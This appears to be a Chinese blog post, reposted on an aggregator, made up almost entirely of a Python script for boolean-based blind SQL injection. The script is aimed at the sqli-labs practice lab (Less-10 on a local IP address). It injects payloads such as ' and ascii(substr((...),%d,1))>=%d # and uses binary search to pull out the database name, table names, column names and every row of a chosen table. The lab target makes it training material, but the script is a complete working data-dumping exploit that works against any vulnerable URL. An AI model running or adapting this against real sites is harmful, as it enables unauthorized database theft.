关于上一篇SQL less-8的爬虫脚本

#!/usr/bin/env Python 3.7.4



import urllib.request

url = "http://192.168.1.128/sqli-labs-master/Less-10/?id=1"#自定义攻击的url
success_str = "You are in..........."

database = "database()"
length_payload = "' and length(%s)>=%d #"
ascii_payload = "' and ascii(substr((%s),%d,1))>=%d #"
select_db = "select database()"
select_table_count_payload = "'and (select count(table_name)" \
                             " from information_schema.tables where table_schema='%s')>=%d #"
select_table_name_length_payload_front = "'and (select length(table_name) " \
                                         "from information_schema.tables where table_schema='%s' " \
                                         "limit "
select_table_count_payload_behind = ",1)>=%d #"
select_table = "select table_name from information_schema.tables " \
               "where table_schema='%s' limit %d,1"


def get_length_result(payload, string, length):
    """
    发送请求,根据页面的返回的判断长度的猜测结果
    :param length:当前猜解长度
    :param payload:使用的payload
    :param string:猜测的字符串
    :return:猜解结果布尔值
    """
    final_url = url + urllib.request.quote(payload % (string, length))
    res = urllib.request.urlopen(final_url)  # 打开并将爬取的网页赋值给res
    echo = res.read().decode("utf-8")
    if success_str in echo:
        return True
    else:
        return False


def get_length_string(payload, string):
    """
    猜解字符串长度
    :param string:
    :param payload:payload
    :return:猜解长度
    """
    length_left = 0
    length_right = 0
    guess = 10
    # 确定长度上限,每次增加5
    while 1:
        # 如果长度大于guess
        if get_length_result(payload, string, guess):
            # 猜解值增5
            guess += 5
        else:
            length_right = guess
            break
    # 二分法猜长度
    mid = (length_left + length_right) / 2
    while length_left < length_right - 1:
        # 如果长度大于等于mid
        if get_length_result(payload, string, mid):
            # 更新长度的左边界为mid
            length_left = mid
        else:
            # 更新长度右边界为mid
            length_right = mid
        # 更新中间值
        mid = (length_left + length_right) / 2
    return length_left


def get_result(ascii_payload, select_db, i, mid):
    """
    获取ASCII码值比较结果
    :param ascii_payload:
    :param select_db:
    :param i:
    :param mid:
    :return:
    """
    final_url = url + urllib.request.quote(ascii_payload % (select_db, i, mid))
    res = urllib.request.urlopen(final_url)
    if success_str in res.read().decode("utf-8"):
        return True
    else:
        return False


def get_name(ascii_payload, select_db, length_DB_name):
    """
    根据数据库名长度获取数据库名
    :type ascii_payload:
    :param ascii_payload: 获取当前字符的ASCII码值的payload
    :param select_db:获取当前数据库名
    :param length_DB_name: 数据库名的长度
    :return: 返回数据库名
    """
    tmp = ''
    for i in range(1, length_DB_name + 1):
        left_letter = 32  # 32 为空格
        right_letter = 127  # 127为删除
        mid = int((left_letter + right_letter) / 2)
        while left_letter < right_letter - 1:
            # 如果第i个字符的ASCII码值大于等于mid
            if get_result(ascii_payload, select_db, i, mid):
                # 更新左边界
                left_letter = mid
            else:
                # 更新右边界
                right_letter = mid
            # 更新中间值
            mid = int((left_letter + right_letter) / 2)
        tmp += chr(left_letter)
    return tmp


def get_tables_name(table_count, dbname):
    """
    获取数据库中的所有表名
    :return:给定数据库中的所有表名
    """
    tables = []  # 定义列表来存放表名
    for i in range(0, table_count):
        # 第几个表
        num = str(i)
        # 获取当前这个表的长度
        select_table_name_length_payload = select_table_name_length_payload_front + num + select_table_count_payload_behind
        table_name_length = int(get_length_string(select_table_name_length_payload, dbname))
        select_table_name = select_table % (dbname, i)
        table_name = get_name(ascii_payload, select_table_name, table_name_length)
        tables.append(table_name)
    return tables


def get_table_data(column_count, dbname, table_name, data_count):
    """
    获取指定表的字段名
    :param dbname: 数据库名
    :param data_count: 表中有多少行数据
    :param column_count: 字段数量
    :param table_name: 表名
    :return:
    """
    fields_value = []  # 定义字段值列表
    fields_name = []  # 定义字段名列表
    for i in range(0, column_count):
        # 获取当前列字段名长度
        get_field_name_length_payload = "'and (select length(column_name)" \
                                        " from information_schema.columns " \
                                        "where table_schema='" + dbname + \
                                        "' and table_name='%s' limit " + str(i) + ",1)>=%d #"
        field_name_length = int(get_length_string(get_field_name_length_payload, table_name))
        # 获取该列名字
        get_field_name_payload = "select column_name from information_schema.columns " \
                                 "where table_schema='" + dbname + "' and table_name='%s' limit %d,1"
        select_field_name_payload = get_field_name_payload % (table_name, i)
        field_name = get_name(ascii_payload, select_field_name_payload, field_name_length)
        fields_name.append(field_name)
        # 获取当前列的所有数据
        for j in range(0, data_count):
            field_value_payload = "'and (select length(" \
                                  + field_name + ") from %s limit " + str(j) + ",1)>=%d #"
            field_value_length = int(get_length_string(field_value_payload, table_name))
            select_field_value_payload = "select " + field_name + " from " + table_name + " limit " + str(j) + ",1"
            field_value = get_name(ascii_payload, select_field_value_payload, field_value_length)
            fields_value.append(field_value)
    return fields_name, fields_value


def inject():
    """
    注入
    :return:
    """
    # 猜解数据库名长度
    length_DB_name = int(get_length_string(length_payload, database))
    print("当前数据库名长度:" + str(length_DB_name))
    # 获取数据库名称
    DB_name = get_name(ascii_payload, select_db, length_DB_name)
    print("当前数据库名:" + DB_name)
    # 获取数据库中表的数量
    table_count = int(get_length_string(select_table_count_payload, DB_name))
    print("数据库" + DB_name + "表的数量:" + str(table_count))
    # 获取数据库中的表
    tables_name = get_tables_name(table_count, DB_name)
    print("数据库" + DB_name + "中的表:")
    print(tables_name)
    # 选择表
    select_table=input("请选择表:")
    if select_table in tables_name:
        print('选择的表是'+select_table)
    else:
        print('该表不在数据库中,请检查输入是否正确!')
    # 获取该指定表有多少行数据
    data_count_payload = "' and (select count(*) from %s)>=%d #"
    data_count = int(get_length_string(data_count_payload, select_table))
    print(select_table+"表中有" + str(data_count) + "行数据")
    # 获取指定表的字段的数量
    select_column_count_payload = "'and (select count(column_name) " \
                                  "from information_schema.columns where table_schema='" \
                                  + DB_name + "' and table_name='%s')>=%d #"
    column_count = int(get_length_string(select_column_count_payload, select_table))
    print(select_table+"表中有" + str(column_count) + "个字段")
    # 获取并打印指定表中的字段名
    fields_name, fields_value = get_table_data(column_count, DB_name, select_table, data_count)
    # 格式化打印指定表的所有数据
    for i in range(0, len(fields_name)):
        print(fields_name[i] + "\t", end='')
    print()
    for i in range(0, int(data_count)):
        print(fields_value[0 + i] + "\t", end='')
        print(fields_value[int(data_count) + i] + "\t", end='')
        if column_count-2>0:
            print(fields_value[int(data_count)*2 + i])
        else:
            print()


def main():
    inject()


main()

关于上一篇SQL less-8的爬虫脚本_第1张图片

你可能感兴趣的:(Python)